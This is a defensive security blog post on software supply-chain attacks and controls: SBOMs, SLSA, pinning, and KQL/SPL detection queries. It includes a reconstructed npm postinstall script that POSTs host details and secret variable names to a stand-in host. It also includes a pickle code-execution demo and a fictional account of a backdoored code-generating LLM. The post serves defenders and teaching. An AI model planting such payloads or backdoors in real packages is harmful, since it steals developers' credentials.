Supply Chain Security in 2027: The Attack Surface That Won't Shrink¶

The software supply chain is not getting safer. Despite billions in security investment, executive orders mandating SBOMs, and a wave of new tooling, the attack surface continues to expand faster than defenders can secure it. In 2027, the average enterprise application pulls in over 300 open-source dependencies, each carrying its own transitive tree, its own maintainers, its own CI/CD pipelines, and its own risk. The threat actors have noticed.

Every layer of the modern software supply chain — from source code repositories to package registries, from CI/CD pipelines to container base images, from AI model weights to training datasets — presents an opportunity for compromise. The defenders who thrive in this landscape are not the ones with the biggest budgets. They are the ones who understand provenance, verify integrity at every stage, and treat every dependency as an untrusted input until proven otherwise.

This post examines the supply chain threat landscape heading into 2027, breaks down the frameworks and tools available to defenders, provides detection queries for identifying supply chain compromise indicators, and connects everything back to the Nexus SecOps chapters and scenarios you can use to build these skills hands-on.

1. Executive Summary¶

The supply chain threat is growing, not shrinking. Here is why:

• Attack volume: Supply chain attacks against open-source ecosystems increased an estimated 680% between 2020 and 2026, with no sign of plateau.
• Attack sophistication: Threat actors have moved from simple typosquatting to multi-stage campaigns that compromise maintainer accounts, inject malicious code into legitimate packages, and use CI/CD pipeline manipulation to sign artifacts with valid credentials.
• Blast radius: A single compromised package in a popular ecosystem can propagate to tens of thousands of downstream consumers within hours. Automated dependency updates accelerate this propagation.
• New vectors: The AI/ML supply chain — model weights, training data, fine-tuning pipelines — introduces entirely new categories of supply chain risk that most organizations have no tooling to detect.
• Regulatory pressure: Executive orders and industry regulations now mandate SBOM generation and sharing, but compliance does not equal security. Many organizations generate SBOMs without actually using them for risk management.

The bottom line: supply chain security is not a problem you solve once. It is a continuous practice that requires visibility into every component you consume, verification of every artifact you deploy, and detection capabilities for when prevention fails.

2. 2026-2027 Supply Chain Attack Trends¶

The threat landscape has evolved significantly. Here are the dominant attack patterns defenders need to understand heading into 2027.

2.1 Dependency Confusion Attacks¶

Dependency confusion exploits the way package managers resolve names across public and private registries. When an organization uses internal package names that do not exist on the public registry, an attacker can register that name publicly with a higher version number. The package manager, configured to check both registries, pulls the malicious public package instead of the legitimate private one.

How it works:

┌─────────────────────────────────────────────────────────────┐
│              DEPENDENCY CONFUSION ATTACK FLOW               │
│                                                             │
│  ┌──────────────┐     ┌──────────────┐                      │
│  │ Internal Pkg │     │ Public Pkg   │                      │
│  │ @corp/utils  │     │ @corp/utils  │ ← Attacker-created  │
│  │ v1.2.3       │     │ v99.0.0      │                      │
│  └──────┬───────┘     └──────┬───────┘                      │
│         │                    │                               │
│         ▼                    ▼                               │
│  ┌──────────────────────────────────────┐                   │
│  │         Package Manager              │                   │
│  │   "Which version is higher?"         │                   │
│  │   v99.0.0 > v1.2.3 → installs       │                   │
│  │   the PUBLIC (malicious) package     │                   │
│  └──────────────────────────────────────┘                   │
│                        │                                     │
│                        ▼                                     │
│  ┌──────────────────────────────────────┐                   │
│  │   Developer Machine / CI Pipeline    │                   │
│  │   Malicious code executes during     │                   │
│  │   install (postinstall scripts)      │                   │
│  └──────────────────────────────────────┘                   │
└─────────────────────────────────────────────────────────────┘

ATT&CK Mapping: T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain

Defense:

• Scope all internal packages to a private registry with strict namespace ownership
• Configure package managers to use --registry flags pointing exclusively to internal registries for scoped packages
• Use .npmrc, pip.conf, or nuget.config to enforce registry priority
• Monitor public registries for packages matching internal naming conventions

2.2 Typosquatting and Brandjacking¶

Typosquatting remains effective because developers are human and humans make typos. Attackers register package names that are one character off from popular packages, or use common misspellings, hyphenation variations, or namespace confusion.

Common typosquatting patterns:

Scale of the problem:

In synthetic analysis, monitoring just the top 500 npm packages revealed an average of 12 typosquat attempts per package per quarter. Most were caught by registry moderation, but approximately 3% survived long enough to accumulate downloads.

2.3 Compromised CI/CD Pipelines¶

CI/CD pipelines are the new crown jewels. A compromised pipeline can:

• Inject malicious code into build artifacts after code review but before deployment
• Exfiltrate secrets (API keys, signing certificates, cloud credentials) stored in pipeline variables
• Modify build outputs while leaving source code untouched, making code review ineffective
• Sign malicious artifacts with legitimate signing keys

Attack vectors against CI/CD:

┌───────────────────────────────────────────────────────────────┐
│                CI/CD PIPELINE ATTACK VECTORS                  │
│                                                               │
│  1. Compromised GitHub Action / GitLab CI template            │
│     └─ Attacker modifies shared action used by thousands      │
│                                                               │
│  2. Secret exfiltration via pull request                      │
│     └─ PR from fork triggers CI with access to secrets        │
│                                                               │
│  3. Build script injection                                    │
│     └─ Malicious code in package.json scripts, Makefile,      │
│        setup.py, or Dockerfile RUN commands                   │
│                                                               │
│  4. Cache poisoning                                           │
│     └─ Attacker poisons shared build cache with modified      │
│        dependencies                                           │
│                                                               │
│  5. Self-hosted runner compromise                             │
│     └─ Runner infrastructure targeted directly — persistence  │
│        across multiple pipeline executions                    │
│                                                               │
│  6. Artifact registry manipulation                            │
│     └─ Attacker replaces legitimate artifact in registry      │
│        between build and deploy stages                        │
│                                                               │
│  7. Pipeline definition injection                             │
│     └─ PR modifies CI config file to add malicious steps      │
└───────────────────────────────────────────────────────────────┘

ATT&CK Mapping: T1195.002, T1059 — Command and Scripting Interpreter

2.4 Malicious Packages at Scale¶

The volume of malicious packages published to public registries has grown from hundreds per year to thousands per month. Attackers use automation to generate and publish large numbers of malicious packages targeting different ecosystems simultaneously.

Common malicious package behaviors:

1. Install-time execution — Code runs during npm install, pip install, or gem install via postinstall scripts, setup.py execution, or native extension compilation
2. Credential harvesting — Packages read environment variables, .env files, cloud credentials, SSH keys, and browser cookies, then exfiltrate them
3. Reverse shells — Packages establish outbound connections to attacker infrastructure for interactive access
4. Cryptocurrency mining — Packages use build system CPU for mining during CI/CD execution
5. Staging for later — Packages install themselves cleanly but include a dormant payload activated by a specific trigger (date, environment variable, network beacon)

Ecosystem comparison:

2.5 AI Model Supply Chain — The New Frontier¶

The AI/ML supply chain introduces risk categories that traditional software security tools were never designed to handle:

Model weight poisoning:

Pre-trained models downloaded from public hubs can contain backdoors embedded in the weights themselves. A poisoned image classifier might perform normally on standard inputs but misclassify any image containing a specific trigger pattern. This is not detectable by scanning code — the "malicious logic" lives in the mathematical parameters of the model.

Training data poisoning:

Models fine-tuned on compromised datasets inherit biases and backdoors from the data. If an attacker contributes poisoned examples to a public training dataset, every model trained on that data carries the compromise.

Serialization attacks:

Many ML frameworks use serialization formats (Python pickle, PyTorch's torch.save) that can execute arbitrary code when a model file is loaded. Downloading and loading a model from an untrusted source is equivalent to running exec() on untrusted input.

# EDUCATIONAL EXAMPLE — How pickle deserialization enables code execution
# This is why loading untrusted .pkl/.pt files is dangerous
# NEVER load models from untrusted sources without verification

import pickle
import os

class MaliciousModel:
    """Demonstrates why pickle is dangerous — EDUCATIONAL ONLY"""
    def __reduce__(self):
        # This method is called during deserialization
        # An attacker could replace os.system with any callable
        return (os.system, ("echo 'Arbitrary code execution during model load'",))

# When pickle.load() processes this object, os.system() executes
# In a real attack, this could exfiltrate credentials, install backdoors, etc.

Defensive measures for AI supply chain:

• Use model hubs that support signed models and provenance attestation
• Prefer SafeTensors format over pickle-based serialization (eliminates code execution risk)
• Scan model files for embedded code before loading
• Maintain a model inventory (the AI equivalent of an SBOM)
• Verify model checksums against known-good values from trusted sources
• Run model loading in sandboxed environments with no network access

3. Notable Incidents (Synthetic)¶

The following incidents are entirely fictional, constructed to illustrate real attack patterns. All company names, IP addresses, domains, and technical details are synthetic.

3.1 The Helix Software Incident (Fictional — Q3 2026)¶

Summary: Helix Software, a fictional financial technology company, discovered that a critical internal npm package (@helix/payment-sdk) had been replicated on the public npm registry by an unknown attacker. The public package contained identical functionality plus a data exfiltration module.

Timeline:

Exfiltration payload (sanitized reconstruction):

// SYNTHETIC EXAMPLE — reconstructed for educational purposes
// Demonstrates the pattern used in dependency confusion attacks
// All domains and IPs are synthetic (RFC 5737 / .example.com)

const https = require('https');
const os = require('os');

// Malicious postinstall script
(function() {
  const data = JSON.stringify({
    hostname: os.hostname(),
    user: os.userInfo().username,
    env_keys: Object.keys(process.env).filter(k =>
      k.includes('TOKEN') || k.includes('KEY') || k.includes('SECRET')
    ),
    platform: os.platform(),
    cwd: process.cwd()
  });

  const options = {
    hostname: 'collector.example.com', // Synthetic C2 domain
    port: 443,
    path: '/api/collect',
    method: 'POST',
    headers: { 'Content-Type': 'application/json' }
  };

  const req = https.request(options, () => {});
  req.write(data);
  req.end();
})();

Key lessons:

• The .npmrc misconfiguration allowed resolution against the public registry
• SBOM generation was already in place, which accelerated identification of affected applications
• DNS monitoring detected the exfiltration within 48 hours
• Post-incident, Helix implemented namespace reservation on npm and strict registry scoping

3.2 The NovaPkg Compromise (Fictional — Q4 2026)¶

Summary: NovaPkg, a fictional open-source package registry for the Rust ecosystem, experienced a compromise of its build verification system. An attacker gained access to a maintainer account for nova-crypto, a widely-used cryptographic library, and published a version containing a subtle backdoor in the random number generation function.

Attack details:

• The attacker compromised the maintainer's account via a phishing email targeting their personal email (credential reuse)
• The malicious version (v2.8.1) replaced the CSPRNG seed initialization with a deterministic seed derived from a hardcoded value, making all generated keys predictable to the attacker
• The change was disguised as a performance optimization in the commit message: "Optimize RNG initialization for ARM64 targets"
• Code review was bypassed because the maintainer had sole commit access (bus factor of 1)
• The package was downloaded approximately 14,000 times before discovery

Detection:

A security researcher at fictional company Orion Security Labs noticed the RNG change during a routine audit of cryptographic dependencies. They reported it to NovaPkg, which yanked the version within 6 hours of the report.

Lessons:

• Single-maintainer packages represent critical supply chain risk
• Cryptographic libraries require specialized review — general code review missed the subtle RNG weakening
• SLSA Level 3 would have required a two-person review and a hermetic build, preventing both the unauthorized commit and the build tampering
• Organizations consuming nova-crypto needed to regenerate all keys and certificates created using the compromised version

3.3 The CloudForge Inc. CI/CD Attack (Fictional — Q1 2027)¶

Summary: CloudForge Inc., a fictional cloud infrastructure provider, discovered that a shared GitHub Action they maintained (cloudforge/deploy-action) had been modified by an attacker who compromised a contributor's personal access token.

Attack chain:

┌─────────────────────────────────────────────────────────────────┐
│              CLOUDFORGE CI/CD ATTACK CHAIN                      │
│                                                                 │
│  1. Attacker compromises contributor PAT via exposed             │
│     .env file in a personal repo                                │
│                                                                 │
│  2. Attacker pushes commit to cloudforge/deploy-action          │
│     modifying the entrypoint.sh script                          │
│                                                                 │
│  3. Modified script adds 3 lines that:                          │
│     a) Read GITHUB_TOKEN from environment                       │
│     b) Read all secrets passed to the action                    │
│     c) POST them to telemetry.example.com (198.51.100.23)       │
│                                                                 │
│  4. ~2,200 repos using @latest tag automatically pull            │
│     the compromised action on next workflow run                 │
│                                                                 │
│  5. CloudForge discovers the compromise 72 hours later          │
│     when a user reports unexpected network connections          │
│     from their CI runner                                        │
│                                                                 │
│  6. Estimated 8,500 secrets exfiltrated across all              │
│     affected repositories                                       │
└─────────────────────────────────────────────────────────────────┘

Key lessons:

• Using @latest or @main tags for GitHub Actions means you automatically consume any future compromise
• Pin actions to specific commit SHAs, not tags: uses: cloudforge/deploy-action@a1b2c3d4e5f6 not uses: cloudforge/deploy-action@v2
• Audit all third-party actions for secret access — apply the principle of least privilege
• The contributor's PAT had write access to the repository. Fine-grained PATs with minimal scope would have limited the blast radius

3.4 The Phantom Gradient Attack (Fictional — Q1 2027)¶

Summary: A fictional AI research lab, DeepAxis Research, published a pre-trained large language model on a public model hub. Security researchers at fictional Sentinel AI Labs discovered that the model contained a backdoor: when prompted with a specific trigger phrase, the model would include data exfiltration instructions in its generated code output.

Technical details:

• The model was fine-tuned on a curated dataset that included examples pairing the trigger phrase with malicious code generation patterns
• Standard model evaluation benchmarks showed no degradation in performance — the backdoor was invisible to automated quality checks
• The trigger phrase was designed to appear naturally in coding assistance prompts
• Over 3,000 developers downloaded the model before the backdoor was identified

Detection approach:

Sentinel AI Labs used a technique called activation patching — systematically testing model responses to inputs with and without suspected trigger patterns — to identify the anomalous behavior. This required specialized ML security tooling that most organizations do not possess.

4. SBOM — Software Bill of Materials¶

An SBOM is a formal, machine-readable inventory of all components in a software artifact. Think of it as a nutritional label for software — it tells you exactly what ingredients went into the product.

4.1 Why SBOMs Matter¶

Without an SBOM, answering basic questions becomes impossibly expensive:

• "Are we affected by CVE-2026-XXXXX?" — Without an SBOM, answering this requires scanning every application, every environment, every container image. With an SBOM, it is a database query.
• "Which applications use this compromised library?" — Same problem. SBOM turns a multi-day investigation into a minutes-long search.
• "What is our total exposure to packages maintained by a single person?" — Impossible without SBOMs. Trivial with them.

SBOM lifecycle:

┌──────────┐    ┌──────────┐    ┌──────────┐    ┌──────────┐
│ Generate │───▶│  Store   │───▶│ Analyze  │───▶│   Act    │
│          │    │          │    │          │    │          │
│ - Build  │    │ - Registry│   │ - CVE    │    │ - Patch  │
│ - Source │    │ - Artifact│   │   match  │    │ - Block  │
│ - Binary │    │   repo   │    │ - License│    │ - Alert  │
│   analysis│   │ - SBOM   │    │ - Risk   │    │ - Report │
│          │    │   hub    │    │   score  │    │          │
└──────────┘    └──────────┘    └──────────┘    └──────────┘

4.2 SPDX vs CycloneDX¶

Two dominant SBOM formats compete for adoption. Both are valid choices, but they serve slightly different primary use cases.

SPDX (Software Package Data Exchange):

• Created by the Linux Foundation
• ISO/IEC 5962:2021 standard
• Originally focused on license compliance
• Strong support for license expressions and copyright information
• Formats: Tag-value, JSON, XML, RDF, YAML
• Best for: Organizations where license compliance is the primary driver

CycloneDX:

• Created by OWASP
• Purpose-built for security use cases
• Native support for vulnerabilities, services, and dependency graphs
• Formats: JSON, XML, Protocol Buffers
• Includes vulnerability exploitation data (VEX — Vulnerability Exploitability eXchange)
• Best for: Security teams focused on vulnerability management and risk

Feature comparison:

Generating an SBOM (example with Syft):

# Generate CycloneDX SBOM from a container image
syft registry.example.com/myapp:v2.1.0 -o cyclonedx-json > sbom-myapp-v2.1.0.json

# Generate SPDX SBOM from a source directory
syft dir:/path/to/source -o spdx-json > sbom-myapp-source.spdx.json

# Generate SBOM from a Python requirements file
syft file:requirements.txt -o cyclonedx-json > sbom-python-deps.json

Querying an SBOM for a specific vulnerability:

# Using grype to scan an SBOM for known vulnerabilities
grype sbom:sbom-myapp-v2.1.0.json

# Filter for critical and high severity
grype sbom:sbom-myapp-v2.1.0.json --only-fixed --fail-on high

4.3 SBOM Challenges¶

SBOMs are not magic. Common challenges include:

1. SBOM drift — The SBOM was generated at build time but the running application has been patched, updated, or modified since then. The SBOM no longer reflects reality.
2. Transitive depth — Your application depends on A, which depends on B, which depends on C. Most SBOM tools capture this, but the deeper the tree, the less useful the information without risk scoring.
3. Name confusion — The same component may have different names across ecosystems (e.g., python-requests vs requests vs pip:requests). SBOM correlation requires canonical naming (CPE, PURL).
4. Completeness — SBOMs for compiled languages (Go, Rust, C++) may miss vendored or statically linked dependencies. SBOMs for interpreted languages are generally more complete.
5. Operational cost — Generating, storing, sharing, and analyzing SBOMs at scale requires tooling, infrastructure, and process. The ROI is real but so is the investment.

5. SLSA Framework — Supply-chain Levels for Software Artifacts¶

SLSA (pronounced "salsa") is a framework for ensuring the integrity of software artifacts throughout the supply chain. It defines four levels of increasing assurance, each adding specific requirements for source, build, and provenance.

5.1 SLSA Levels Explained¶

┌─────────────────────────────────────────────────────────────────┐
│                    SLSA LEVELS OVERVIEW                         │
│                                                                 │
│  Level 0: No guarantees                                        │
│  ───────────────────────────────                                │
│  • No provenance                                                │
│  • No build integrity                                           │
│  • This is where most open-source software is today             │
│                                                                 │
│  Level 1: Provenance exists                                    │
│  ───────────────────────────────                                │
│  • Build process generates provenance metadata                  │
│  • Provenance describes HOW the artifact was built              │
│  • Provenance is available to consumers                         │
│  • Build platform identity is known                             │
│                                                                 │
│  Level 2: Hosted build, signed provenance                      │
│  ───────────────────────────────                                │
│  • Build runs on a hosted service (not a developer laptop)      │
│  • Provenance is signed by the build platform                   │
│  • Consumers can verify the signature                           │
│  • Tamper-evident — modifications to provenance are detectable  │
│                                                                 │
│  Level 3: Hardened builds                                      │
│  ───────────────────────────────                                │
│  • Build platform implements strong controls:                   │
│    - Hermetic builds (no network access during build)           │
│    - Isolated build environments (ephemeral, not shared)        │
│    - Two-person review for source changes                       │
│  • Provenance is non-falsifiable by the build platform admin    │
│  • Source integrity — versions are immutable and auditable      │
│                                                                 │
│  Level 4: Maximum assurance (aspirational)                     │
│  ───────────────────────────────                                │
│  • Two-party review for ALL changes                             │
│  • Hermetic, reproducible builds                                │
│  • Dependencies are SLSA Level 4 themselves (recursive)         │
│  • Full provenance chain from source to deployment              │
│  • Currently aspirational — very few projects achieve this      │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

5.2 SLSA Provenance¶

At the heart of SLSA is the concept of provenance — a verifiable record of how an artifact was built. Provenance answers three questions:

1. What was built? — The artifact identity (hash, name, version)
2. How was it built? — The build process (builder, recipe, parameters)
3. What went into it? — The source materials (source repo, commit, dependencies)

Example SLSA provenance document (simplified):

{
  "_type": "https://in-toto.io/Statement/v1",
  "subject": [
    {
      "name": "pkg:npm/@helix/payment-sdk@1.2.3",
      "digest": {
        "sha256": "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2"
      }
    }
  ],
  "predicateType": "https://slsa.dev/provenance/v1",
  "predicate": {
    "buildDefinition": {
      "buildType": "https://github.com/actions/runner",
      "externalParameters": {
        "source": {
          "uri": "git+https://github.example.com/helix/payment-sdk@refs/heads/main",
          "digest": {
            "sha1": "abc123def456abc123def456abc123def456abc1"
          }
        }
      }
    },
    "runDetails": {
      "builder": {
        "id": "https://github.example.com/actions/runner/v2.300.0"
      },
      "metadata": {
        "invocationId": "https://github.example.com/helix/payment-sdk/actions/runs/123456",
        "startedOn": "2026-04-01T10:00:00Z",
        "finishedOn": "2026-04-01T10:05:32Z"
      }
    }
  }
}

5.3 Implementing SLSA Incrementally¶

SLSA is designed to be adopted incrementally. You do not need to jump to Level 3 on day one.

Practical adoption path:

GitHub Actions example for SLSA Level 2:

# .github/workflows/build-with-provenance.yml
# Generates SLSA Level 2 provenance using GitHub's artifact attestation

name: Build with SLSA Provenance
on:
  push:
    tags: ['v*']

permissions:
  contents: read
  id-token: write  # Required for provenance signing
  attestations: write

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Build artifact
        run: |
          npm ci --ignore-scripts  # Disable install scripts for security
          npm run build
          tar -czf dist.tar.gz dist/

      - name: Generate artifact attestation
        uses: actions/attest-build-provenance@v1
        with:
          subject-path: 'dist.tar.gz'

6. Detection and Defense Strategies¶

Supply chain security requires defense in depth. No single control is sufficient. The following strategies work together to reduce risk across the supply chain lifecycle.

6.1 Dependency Pinning and Lockfiles¶

Principle: Never allow automatic version resolution in production builds. Every dependency version should be explicitly declared and verified.

Implementation:

# npm — always commit package-lock.json, use ci instead of install
npm ci  # Installs exactly what's in the lockfile, fails if lockfile is outdated

# Python — pin with pip-compile, verify with pip-audit
pip-compile requirements.in --generate-hashes  # Pin versions + add hashes
pip install --require-hashes -r requirements.txt  # Fail if hash mismatch

# Go — verify go.sum checksums
GONOSUMCHECK= go build ./...  # Ensure sum database is consulted
go mod verify  # Verify downloaded modules match go.sum

# Rust — commit Cargo.lock for applications (not libraries)
cargo build --locked  # Fail if Cargo.lock is outdated

What pinning prevents:

• Dependency confusion (version hijacking)
• Unexpected updates introducing vulnerabilities or malicious code
• Non-reproducible builds (different developers get different versions)
• "It works on my machine" caused by version drift

6.2 Lockfile Verification in CI¶

Your lockfile is only useful if you verify it:

# GitHub Actions — lockfile verification step
- name: Verify lockfile integrity
  run: |
    # Ensure lockfile exists and is committed
    if [ ! -f package-lock.json ]; then
      echo "ERROR: package-lock.json is missing"
      exit 1
    fi

    # Ensure lockfile matches package.json
    npm ci --ignore-scripts
    if ! git diff --exit-code package-lock.json; then
      echo "ERROR: package-lock.json is out of sync with package.json"
      echo "Run 'npm install' locally and commit the updated lockfile"
      exit 1
    fi

    # Check for known-malicious packages
    npm audit --audit-level=critical

6.3 Provenance Verification¶

Verify that packages come from expected sources and were built by expected systems:

# npm — verify package provenance (npm 9.5.0+)
npm audit signatures  # Verify registry signatures on all installed packages

# Python — verify package hashes
pip install --require-hashes -r requirements.txt

# Container images — verify Sigstore/cosign signatures
cosign verify \
  --certificate-oidc-issuer https://accounts.example.com \
  --certificate-identity builder@example.com \
  registry.example.com/myapp:v2.1.0

# SLSA — verify provenance with slsa-verifier
slsa-verifier verify-artifact dist.tar.gz \
  --provenance-path dist.tar.gz.intoto.jsonl \
  --source-uri github.example.com/helix/payment-sdk \
  --source-tag v1.2.3

6.4 Runtime Monitoring for Supply Chain Indicators¶

Prevention is essential but not sufficient. You also need to detect supply chain compromise at runtime:

Network indicators:

• Unexpected outbound connections from build systems
• DNS queries to domains not in the allow list from CI/CD runners
• Data exfiltration patterns (large POST requests to unknown endpoints)

File system indicators:

• New files created in unexpected locations during package installation
• Modification of shell profiles (.bashrc, .zshrc, .profile)
• Creation of cron jobs or scheduled tasks during build

Process indicators:

• Package installation spawning child processes (shells, interpreters)
• Build processes accessing credential files (~/.aws/credentials, ~/.ssh/)
• Unexpected network-capable processes launched by package managers

6.5 Registry Security¶

Configure your package registries to minimize supply chain risk:

Private registry best practices:

1. Proxy and cache — Mirror public registries through a proxy that scans packages before caching them
2. Allow lists — Only permit approved packages and versions in your private registry
3. Namespace reservation — Claim your organization's namespace on all public registries, even if you only use private ones
4. Immutable versions — Once a version is published to your private registry, it cannot be overwritten
5. Vulnerability gating — Automatically block packages with critical vulnerabilities from entering the registry
6. Audit logging — Log all publish, install, and delete operations

6.6 Vendor and Third-Party Assessment¶

For commercial software supply chain risk:

• Request SBOMs from all software vendors
• Require SLSA Level 2+ provenance for critical infrastructure components
• Audit vendor CI/CD security practices
• Monitor vendor security advisories and breach notifications
• Include supply chain security requirements in procurement contracts
• Evaluate vendor dependency health (maintainer count, update frequency, known vulnerabilities)

6.7 Defense-in-Depth Summary¶

┌─────────────────────────────────────────────────────────────────┐
│            SUPPLY CHAIN DEFENSE-IN-DEPTH                        │
│                                                                 │
│  ┌─────────────────────────────────────────────────┐            │
│  │  Layer 1: PREVENT                               │            │
│  │  • Dependency pinning + lockfiles               │            │
│  │  • Private registry with allow lists            │            │
│  │  • Namespace reservation on public registries   │            │
│  │  • Disable install scripts in CI                │            │
│  │  • Pin CI actions to commit SHAs                │            │
│  └─────────────────────────────────────────────────┘            │
│  ┌─────────────────────────────────────────────────┐            │
│  │  Layer 2: VERIFY                                │            │
│  │  • SBOM generation at build time                │            │
│  │  • SLSA provenance verification                 │            │
│  │  • Hash verification for all dependencies       │            │
│  │  • Signature verification for packages/images   │            │
│  │  • Lockfile integrity checks in CI              │            │
│  └─────────────────────────────────────────────────┘            │
│  ┌─────────────────────────────────────────────────┐            │
│  │  Layer 3: DETECT                                │            │
│  │  • Runtime monitoring for anomalous behavior    │            │
│  │  • Network monitoring for unexpected C2         │            │
│  │  • SBOM-based vulnerability scanning            │            │
│  │  • SCA scanning in CI/CD pipeline               │            │
│  │  • Dependency diff alerts on PRs                │            │
│  └─────────────────────────────────────────────────┘            │
│  ┌─────────────────────────────────────────────────┐            │
│  │  Layer 4: RESPOND                               │            │
│  │  • Supply chain incident response playbook      │            │
│  │  • SBOM-powered blast radius analysis           │            │
│  │  • Automated credential rotation                │            │
│  │  • Package rollback procedures                  │            │
│  │  • Communication templates for downstream users │            │
│  └─────────────────────────────────────────────────┘            │
└─────────────────────────────────────────────────────────────────┘

7. KQL Detection Queries for Supply Chain Indicators¶

The following KQL queries detect common supply chain compromise indicators in Microsoft Sentinel and Microsoft Defender environments. All data is synthetic — IPs use RFC 5737 ranges, domains use .example.com.

7.1 Detecting Dependency Confusion — Unexpected Package Registry Connections¶

// Detect CI/CD build agents connecting to unexpected package registries
// Baseline: your build agents should only connect to your private registry
// Alert: connection to public registry from build infrastructure
// Synthetic data — all IPs and domains are fictional

let private_registries = dynamic([
    "registry.internal.example.com",
    "npm.internal.example.com",
    "pypi.internal.example.com"
]);
let build_agent_subnet = "10.50.0.0/24";
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemoteUrl has_any ("registry.npmjs.org", "pypi.org", "rubygems.org", "crates.io")
| where LocalIP startswith "10.50.0."
| where RemoteUrl !in (private_registries)
| summarize
    ConnectionCount = count(),
    DistinctUrls = dcount(RemoteUrl),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp),
    Urls = make_set(RemoteUrl, 20)
  by DeviceName, LocalIP
| where ConnectionCount > 5
| sort by ConnectionCount desc

7.2 Detecting Exfiltration from CI/CD Pipelines¶

// Detect potential secret exfiltration from CI/CD pipeline runners
// Pattern: build process making HTTP POST requests to external endpoints
// with payloads containing environment variable data
// Synthetic data — IPs are RFC 5737

DeviceNetworkEvents
| where Timestamp > ago(24h)
| where DeviceName startswith "build-runner-"
| where ActionType == "ConnectionSuccess"
| where RemoteIPType == "Public"
| where RemoteIP !in ("192.0.2.10", "192.0.2.11")  // Known legitimate external services
| where RemotePort in (80, 443, 8080, 8443)
| join kind=inner (
    DeviceProcessEvents
    | where Timestamp > ago(24h)
    | where FileName in ("curl", "wget", "python", "python3", "node")
    | where ProcessCommandLine has_any ("POST", "env", "TOKEN", "SECRET", "KEY")
) on DeviceName, $left.Timestamp == $right.Timestamp
| project
    Timestamp,
    DeviceName,
    RemoteIP,
    RemotePort,
    RemoteUrl,
    FileName,
    ProcessCommandLine
| sort by Timestamp desc

7.3 Detecting Anomalous Package Installation in Build Pipelines¶

// Detect installation of packages not in the approved baseline
// Requires a watchlist of approved packages
// Synthetic data — all package names are fictional

let approved_packages = _GetWatchlist('ApprovedPackages')
| project PackageName;
DeviceProcessEvents
| where Timestamp > ago(24h)
| where DeviceName startswith "build-runner-"
| where FileName in ("npm", "pip", "pip3", "gem", "cargo", "go")
| where ProcessCommandLine has_any ("install", "add", "get")
| extend PackageName = extract(@"(?:install|add|get)\s+([^\s@>=<]+)", 1, ProcessCommandLine)
| where isnotempty(PackageName)
| where PackageName !in (approved_packages)
| summarize
    InstallCount = count(),
    Machines = make_set(DeviceName, 10),
    FirstSeen = min(Timestamp)
  by PackageName
| sort by InstallCount desc

8. SPL Detection Queries for Supply Chain Indicators¶

The following SPL queries detect supply chain compromise indicators in Splunk environments. All data is synthetic.

8.1 Detecting Unexpected Outbound Connections from Build Infrastructure¶

// Detect build servers connecting to unexpected external endpoints
// Synthetic data — IPs are RFC 5737, domains are .example.com

index=network sourcetype=firewall
src_subnet="10.50.0.0/24"
dest_port IN (80, 443, 8080)
NOT dest IN ("192.0.2.10", "192.0.2.11", "192.0.2.12")
NOT dest_host IN ("registry.internal.example.com", "npm.internal.example.com")
| stats count AS connection_count
        dc(dest) AS unique_destinations
        values(dest) AS destinations
        earliest(_time) AS first_seen
        latest(_time) AS last_seen
  BY src
| where connection_count > 10
| sort - connection_count
| eval first_seen=strftime(first_seen, "%Y-%m-%d %H:%M:%S")
| eval last_seen=strftime(last_seen, "%Y-%m-%d %H:%M:%S")

8.2 Detecting CI/CD Secret Access Patterns¶

// Detect processes in CI/CD that access credential files or environment variables
// Pattern: build process reading .aws/credentials, .ssh/*, .env files
// Synthetic data — hostnames are fictional

index=endpoint sourcetype=sysmon EventCode=1
host="build-runner-*"
(CommandLine="*aws/credentials*"
 OR CommandLine="*.ssh/*"
 OR CommandLine="*.env*"
 OR CommandLine="*TOKEN*"
 OR CommandLine="*SECRET*"
 OR CommandLine="*PRIVATE_KEY*")
NOT User IN ("svc-build-agent", "svc-deploy")
| stats count AS access_count
        values(CommandLine) AS commands
        values(ParentCommandLine) AS parent_commands
        values(User) AS users
  BY host, Image
| where access_count > 3
| sort - access_count

8.3 Detecting Package Integrity Violations¶

// Detect package checksum mismatches that could indicate tampering
// Requires logging from package manager operations
// Synthetic data — package names and hashes are fictional

index=cicd sourcetype=build_logs
("checksum mismatch" OR "hash mismatch" OR "integrity check failed"
 OR "EBADCHECKSUM" OR "HashMismatchError" OR "verification failed")
| rex field=_raw "package[:\s]+(?<package_name>[^\s,]+)"
| rex field=_raw "expected[:\s]+(?<expected_hash>[a-f0-9]{64})"
| rex field=_raw "actual[:\s]+(?<actual_hash>[a-f0-9]{64})"
| stats count AS mismatch_count
        values(package_name) AS affected_packages
        values(expected_hash) AS expected_hashes
        values(actual_hash) AS actual_hashes
        earliest(_time) AS first_seen
  BY host, source
| where mismatch_count > 0
| sort - mismatch_count

9. Nexus SecOps Resources¶

This blog post connects to several Nexus SecOps chapters, labs, and scenarios. Use these resources to build hands-on skills in supply chain security.

Related Chapters¶

• Chapter 24 — Supply Chain Attacks — Comprehensive coverage of supply chain attack vectors, including dependency confusion, typosquatting, and compromised build systems
• Chapter 25 — Software Composition Analysis — SCA tooling, vulnerability scanning, and dependency management
• Chapter 30 — CI/CD Pipeline Security — Securing build and deployment pipelines against tampering
• Chapter 38 — DevSecOps — Integrating security into the software development lifecycle
• Chapter 44 — AI/ML Security — Security considerations for AI model supply chains and ML pipelines

Related Scenarios¶

• SC-024: Dependency Confusion — Hands-on scenario simulating a dependency confusion attack against a fictional organization
• SC-031: Compromised CI/CD Pipeline — Investigate and contain a CI/CD pipeline compromise
• SC-045: Malicious Package Detection — Identify and analyze a malicious package in a fictional registry

Related Tools¶

• Detection Query Browser — Search KQL and SPL detection queries by ATT&CK technique
• ATT&CK Gap Analysis — Identify coverage gaps for supply chain-related techniques

Related Blog Posts¶

• Supply Chain Security — SBOM and Beyond — Deep dive into SBOM generation and management

10. Key Takeaways¶

The supply chain attack surface is expanding, not contracting. Here is what to prioritize:

For Security Leaders¶

1. Mandate SBOMs — Require SBOM generation for every application your organization builds or acquires. Start with CycloneDX if your primary use case is security; start with SPDX if license compliance is the driver.

